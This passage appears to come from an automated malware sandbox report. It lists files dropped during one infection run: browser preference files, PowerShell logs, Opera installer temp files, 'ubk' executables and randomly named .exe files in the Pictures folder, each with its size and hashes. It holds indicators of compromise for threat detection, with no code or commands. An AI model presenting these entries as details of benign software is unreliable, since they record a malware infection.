                                                                                                                                                                                                                                                        5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        11KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        f8fbd3cc7aeb588bf415188a1ff64f92

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        07171061aad5b6bc10cfc819d154fc061eda3703

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        16fa30ceb204f432b85bfa4c036356b0570705b64baa667b4c2d31b9b0e670c0

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        6114e36a0f4c4b5a19eee21d582869cba90c73b6be88aad00738dadbbe35b4cf6e3a23199bc5221374dd5f1bb2a2452dfcf08965fd21dab13dcd8019e8d494fc

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        36KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        e7d51a0d711609709d16962ad18c6268

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        1de3eb409e15d348f77535a9efcda7953b47e008

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        b413e23a07b140882fad1ccf9d839f19ef528d37a4384dadf938990c533f659d

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        e68b95241203254546b9e54fcc5bf1b4dbf4934f94a87bef1988a6d561a5c9338f5c9452db406da0fafadbc7dfdc036d8ef19c46dfc6ac529004a90ec9df33cd

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        627073ee3ca9676911bee35548eff2b8

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        1KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        e080d58e6387c9fd87434a502e1a902e

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        ae76ce6a2a39d79226c343cfe4745d48c7c1a91a

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        6fc482e46f6843f31d770708aa936de4cc32fec8141154f325438994380ff425

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        6c112200ef09e724f2b8ab7689a629a09d74db2dcb4dd83157dd048cbe74a7ce5d139188257efc79a137ffebde0e3b61e0e147df789508675fedfd11fcad9ede

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        151B

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        11KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        6831bab3c7fb12ee9396194e3013606c

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        4c8cd9d31a589a90b4c74bff91f14b8ff0a5a01f

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        3536bd81fd6aa4e5907c731be9946520a4aaef128a21831fb64abbcdaa95ec56

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        1e0a41b707e41350873299a7324f7f20ae7493eaf5d885839c6b8f7b6b1be8732c3ce549f5479e75f294a6994c4980a4710b266d1de314a0b15f9e5134f046b1

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        20KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        b078e6ebe5dfe3f1f9f2080199fcd3ef

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        e47a51b63cd56246d2367911d01dc22e3f6814a3

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        bb1c9c7ab8db249485ecdd796e089d877c48e150d7055e1ddbe4ad67fb19ccab

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        48daa92c8fecb58a01355505c6b99886dfd954338d3a6787951f3066c33cf0f20b1c4090790a8b56b9034b90c4969c8119e8778d108beb60d97fa95b0f1b8f6b

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        944B

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        2e8eb51096d6f6781456fef7df731d97

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        ec2aaf851a618fb43c3d040a13a71997c25bda43

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        15KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        c04f5aad3cc517e093f42babb9bb3205

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        92bf4819355c5b6104d3f44c3cd5219242445e84

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        746676e13a9b3703679ff6d65946681afc1d9342d1ca1f9793a55f9966553584

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        4a4d35eacfa4df4e833a276b2c48d027424d0a2c1666d45e52b5bdeaa287931ffe98593815a68b54a9bbdd8d42a450e924a533e452501e80469bc10324e1ef31

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        11KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        5d38dcc8f98a2f2c5bd2cd78fc69bcb3

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        99a82c2c4befd1f3038063a59f951b8dcd3fecf4

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        1dfc7e5afdedab40815de39185efc155bd67d8a1c074db42c0de409dba7d7d3c

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        a49fb076c8c9c431b7ec21102e57dc9b73a1b4dd53f9c591ba31b146e2bccd198a5d9c6aec5ac408d31ecd49c882649c88c4dd311ca2cc7f3d5523132c165a81

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404291834311\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        2.5MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        15d8c8f36cef095a67d156969ecdb896

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        a1435deb5866cd341c09e56b65cdda33620fcc95

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        1521c69f478e9ced2f64b8714b9e19724e747cd8166e0f7ab5db1151a523dda8

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        d6f48180d4dcb5ba83a9c0166870ac00ea67b615e749edf5994bc50277bf97ca87f582ac6f374c5351df252db73ee1231c943b53432dbb7563e12bbaf5bb393a

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404291834311\assistant\assistant_installer.exe

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        1.9MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        976bc8e5fe65f9bb56831e20f1747150

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        f9e7f5628aaaabed9939ef055540e24590a9ccfb

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        f53c916ccf3d24d6793227283de2db0f6cc98a2275413851807cc080643d21a0

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        2858e7e08418b170b21b599afb02236d0480d35a5605de142f10976489e01daf2ad80df0f09c2eb38bc5a971336d1f6aa9909c520bcdb18e9c9a8e903379dcd9

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404291834311\assistant\dbgcore.dll

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        166KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        9ebb919b96f6f94e1be4cdc6913ef629

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        31e99ac4fba516f82b36bd81784e8d518b32f9df

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        fdae21127deb16eb8ba36f2493d2255f4cb8ab4c18e8bd8ba5e587f5a7ecd119

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        a1b42f7d2896da270bb3c80cf9b88c4b4f1491084e7aa7760eeea5533b26f041dc79b21d5ffd2bba2221fe118e0a8d912e170f24fd895c9315b1ee9c7adfe700

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404291834311\assistant\dbghelp.dll

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        1.7MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        544255258f9d45b4608ccfd27a4ed1dd

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        571e30ceb9c977817b5bbac306366ae59f773497

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        3b02fc85602e83059f611c658e3cad6bc59c3c51214d4fe7e31f3ac31388dd68

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        2093da881fa90eec2b90d1ca6eaaff608fe16ac612571a7fd5ed94dd5f7ff7e5c1e8c862bab0a228850829527886473e3942abd23a81d10cab8f9baad2cc7664

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404291834311\opera_package

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        103.9MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        b7e7c07657383452919ee39c5b975ae8

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        2a6463ac1eb8be1825b123b12f75c86b7fff6591

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        1d3f55e541be41e98341cb1d7b5d10487f886093370bdccdb26c70c322246bb9

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        daeabc9a4d76e1107681e96b1371682fa6dd589001f8b03fe41165d5c32a96179daeac359f86772c9768fdbdee271c16f92ad0dbd10b2fc7cde3970f0c92aa39

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8712.tmp\Install.exe

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        6.4MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        90487eb500021dbcb9443a2cf972a204

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        62ae31665d462c8e5d6632f389b1e94afb9bf00d

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        4a86ca84b985a5228eccd13f225bb403e9574e7f64b900a9acc4d32bcb732ff2

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        8cb3b1ae44246bee8bf2b81220d7a5782c4e82b2b871a81bdc9ea170fbe477d7be59c3543554f2cdefde7422bcc88b6624b966dff1603c79d277329fb2074d17

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Opera_installer_2404291834313251380.dll

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        4.6MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        45fe60d943ad11601067bc2840cc01be

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        911d70a6aad7c10b52789c0312c5528556a2d609

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        0715f9558363b04526499fcd6abf0b1946950af0a7f046a25f06b20dddb67add

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        30c82f6b329fefa5f09a5974c36b70ea2bdab273e7d6eadd456fddcc2aa693f8f1cf096d57c3719d1106e9f85d50a4ffbf0ed7e66da2da0a5f23b6ee8c7194ba

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dxsbuywf.40q.ps1

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        60B

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        9c0f1fb97e227158c62f227c1023f401

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        8c8ece9ac2a69b78d34ca184fc33d21959e1ff9c

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        f3489627b22a870595c2efd09f33a5a80e78f3ff7b51a83be47026c990325097

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        c7d674f30e94618e7d0e36e623aab7afc9417d19bbd8a969b309769ad273bfa17b2619f767cbf83a9a6cb11ac89ccbc19b6d967263e4dee3fdc1e9348f90669f

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\tmpCC56.tmp

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        20KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        42c395b8db48b6ce3d34c301d1eba9d5

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        b7cfa3de344814bec105391663c0df4a74310996

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        5644546ecefc6786c7be5b1a89e935e640963ccd34b130f21baab9370cb9055d

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        7b9214db96e9bec8745b4161a41c4c0520cdda9950f0cd3f12c7744227a25d639d07c0dd68b552cf1e032181c2e4f8297747f27bad6c7447b0f415a86bd82845

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\tmpCC87.tmp

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        20KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        22be08f683bcc01d7a9799bbd2c10041

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        2efb6041cf3d6e67970135e592569c76fc4c41de

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        451c2c0cf3b7cb412a05347c6e75ed8680f0d2e5f2ab0f64cc2436db9309a457

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        0eef192b3d5abe5d2435acf54b42c729c3979e4ad0b73d36666521458043ee7df1e10386bef266d7df9c31db94fb2833152bb2798936cb2082715318ef05d936

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ubk.0.exe

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        203KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        dce5dad83235fc6ed6a3be41c8a0c65a

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        5322656bca0aca1f65ff6a8b9cc0a3f569ef9b73

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        1f1e0fe8ed308f9eeb39dac12c4a1b880effc6c512b4d5f8222987a9cd260308

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        6539754abe61b14abe3113304ff62eb90bf6abf38748d61c72c9b39cc23b36ee3a4fcd27f501528bb8d0bcdd505e7fbb7da30c425a4f7a267a96a106f530f190

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ubk.1.zip

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        3.7MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        78d3ca6355c93c72b494bb6a498bf639

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        2fa4e5df74bfe75c207c881a1b0d3bc1c62c8b0e

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        a1dd547a63b256aa6a16871ed03f8b025226f7617e67b8817a08444df077b001

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        1b2df7bee2514aee7efd3579f5dd33c76b40606d07dba69a34c45747662fad61174db4931bca02b058830107959205e889fee74f8ccc9f6e03f9fd111761f4ea

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ubk.2\relay.dll

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        1.5MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        10d51becd0bbce0fab147ff9658c565e

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        4689a18112ff876d3c066bc8c14a08fd6b7b7a4a

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        7b2db9c88f60ed6dd24b1dec321a304564780fdb191a96ec35c051856128f1ed

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        29faf493bb28f7842c905adc5312f31741effb09f841059b53d73b22aea2c4d41d73db10bbf37703d6aeb936ffacbc756a3cc85ba3c0b6a6863ef4d27fefcd29

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ubk.2\run.exe

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        2.4MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        9fb4770ced09aae3b437c1c6eb6d7334

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        fe54b31b0db8665aa5b22bed147e8295afc88a03

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        a05b592a971fe5011554013bcfe9a4aaf9cfc633bdd1fe3a8197f213d557b8d3

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        140fee6daf23fe8b7e441b3b4de83554af804f00ecedc421907a385ac79a63164bd9f28b4be061c2ea2262755d85e14d3a8e7dc910547837b664d78d93667256

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ubk.3.exe

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        4.6MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        397926927bca55be4a77839b1c44de6e

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        e10f3434ef3021c399dbba047832f02b3c898dbd

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\i8r4t3z8.default-release\prefs.js

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        7KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        55ea941f1cb04ec89e6001b22632c59a

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        1ff180dc4d1f73c1c9dcc656ca2401b909234223

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        6a0dbdfa6525e6bc095ef3f7e367dd3a5a749832cf2bcd43c764b21254651f2d

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        356fbf824bde13b8eb0f6564a489141751469892d771235647e60a35cd445c761742272ea9b965a645fef3c9a3b4f299f7f1ce77bf6ed00d6d0430f6ab8f76dd

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports\settings.dat

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        40B

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        903371b1abb8487324dd0d12afab635e

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        84c0d787ec1f386f65d594927e390c115ecced95

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        b6fefc3a59f888f0e80e975310a36a7ff75db4628f7fdf62bbce3f6b924c2fcd

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        93540aaad3d059efdd3e9e736a52b479301e0fb5c5ccba4a6a8b6a25d885d8ba0a314e2f9765c46218efad4a171302143116aed32cf2543b3b69cd2f416d6457

                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\2QqwdmEprG41dAF4eJbsw6U9.exe

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        4.1MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        47b0a50ab6a74a633c29dbfe9bf20674

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        1e6d3bfec4a9583623d9d20627e3a91d5cba6baf

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        d3f6688fedf166c192852896ffa2ff59c714d6860cb052fbead68ef1bfdafb33

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        c7ccc7424653f09ab220067116fe5ac5efc86e52a65c5e3af1de455281fedd821671dc6dd3903d9a7b97d9e6e744da1e95238eff24ecd64f4f8dba65ee5a67dd

                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\88ZAQZnLv9RZwKEYFq5E7vJ2.exe

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        5.1MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        d54b39361c05561d6efddb2b084b1952

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        3f8513a4c5f72aeed27bd3195c1b6d2db4282007

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        bd6bdeea0d4c0aded5fe409296b0dcfa55d47db70385512434cf1a5094b7c032

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        3b06fe08f8dc6ad11b13f899dd35ac03995c89cc2a3a934824b9492e76b76fbda862d2db38579bc6b71dee0f05c4d349c5583a6ecd8d9c905d8ee474d2eb3bc1

                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\cZ66OwyuU2YlIR1ARlg2uowi.exe

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        5.8MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        e13e77e4db785816f7a4e6ab6a0242d6

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        3384dd77791dd538b7c74a9b7a1eb08b255ec303

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        d709b851b77aa0be36e457273efcefdb710c7d62e95191c930411d1c2dec5edb

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        4087532917db0573a931f5ddb783241ab7af42216a4a7528b37ad3b2bc7d2dd9cfc1459acba7629b0349d74f8475bb8423d2b18046038df78b24515d05c5d058

                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\k9N2iLGgH5IXrwnqkCfnYGEa.exe

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        6.3MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        a63018cc078f57c640ac2ec8ed84dead

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        1f5c17894a755114527e92304f4a74195c48031d

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        41d01d8fc610b6ceb17687c58973ee8f6a7bbdc1eb6deb19297e3f4c4c62b558

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        a42f522745bbe8b36ea60d7688a713bce89df2f7b0f5c7ad7b32bc43989fca71e00d817692263ea4004ad6be23e64dd9d3d2f1dfbe7b5038cf4b79b7064a9864

                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\rYQHmcFpMZCI2lLMVlsQIqov.exe

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        347KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        b1aa540dedc68447dac29dfc304fe097

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        1de0ec7704d6c6821224e4049497a8c437b2096a

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        5c029ddc8dcf5e381044617a90f8ed8a37b2e7f454b82d2c2c78a96a2c23eeaf

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        aca76fcbb1f9d408b3005b91b1ec5559ed98011be60cd9627ae9887d8f0c13fa98705482fffde5091edf5429bbf2f2b4fd676cc016d49e73c7283c5ab590803a

                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\yiDIUYUCEUhkxANJEwewVcoW.exe

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        7KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        77f762f953163d7639dff697104e1470

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        ade9fff9ffc2d587d50c636c28e4cd8dd99548d3

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        d9e15bb8027ff52d6d8d4e294c0d690f4bbf9ef3abc6001f69dcf08896fbd4ea

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        d9041d02aaca5f06a0f82111486df1d58df3be7f42778c127ccc53b2e1804c57b42b263cc607d70e5240518280c7078e066c07dec2ea32ec13fb86aa0d4cb499

                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        1KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        faa2dd409bb88491b6c57728dbf8a673

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        6095f074030e7599cb1f9c251c62e2c0d1fb7418

                                                                                                                                                                                                                                                        SHA256

